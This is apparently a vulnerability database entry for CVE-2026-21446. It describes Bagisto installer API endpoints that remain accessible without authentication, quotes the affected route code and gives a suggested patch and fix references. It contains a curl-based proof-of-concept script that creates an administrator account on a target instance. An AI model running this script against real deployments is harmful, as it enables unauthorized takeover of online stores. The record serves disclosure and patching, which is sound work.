{"id":"CVE-2026-21446","aliases":["GHSA-6h7w-v2xr-mqvw"],"url":"https://o3.security/vulnerability/CVE-2026-21446","summary":"Bagisto Missing Authentication on Installer API Endpoints","details":"### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n<?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\>group(function () {  \n    Route::controller(InstallerController::class)-\\>group(function () {  \n        Route::get('install', 'index')-\\>name('installer.index');\n\n        Route::middleware(StartSession::class)-\\>prefix('install/api')-\\>group(function () {  \n            Route::post('env-file-setup', 'envFileSetup')-\\>name('installer.env\\_file\\_setup');  \n            Route::post('run-migration', 'runMigration')-\\>name('installer.run\\_migration')-\\>withoutMiddleware('Ib');  \n            Route::post('run-seeder', 'runSeeder')-\\>name('installer.run\\_seeder')-\\>withoutMiddleware('Ib');  \n            Route::get('download-sample', 'downloadSample')-\\>name('installer.download\\_sample')-\\>withoutMiddleware('Ib');  \n            Route::post('admin-config-setup', 'adminConfigSetup')-\\>name('installer.admin\\_config\\_setup')-\\>withoutMiddleware('Ib');  \n            Route::post('sample-products-setup', 'createSampleProducts')-\\>name('installer.sample\\_products\\_setup')-\\>withoutMiddleware('Ib');  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path('.env')) &&\n        config('app.key') &&\n        \\Schema::hasTable('admins') &&\n        \\DB::table('admins')->count() > 0) {\n        abort(404, 'Application already installed');\n    }\n}\n```","published":"2026-01-02T19:18:36.095Z","modified":"2026-08-12T03:51:17.433488975Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"bagisto/bagisto","fixedVersion":"2.3.10"}],"fix":{"url":"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed","label":"bagisto/bagisto@380c045"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/21xxx/CVE-2026-21446.json"},{"type":"ADVISORY","url":"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21446"},{"type":"FIX","url":"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"},{"type":"PACKAGE","url":"https://github.com/bagisto/bagisto"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.433488975Z"}}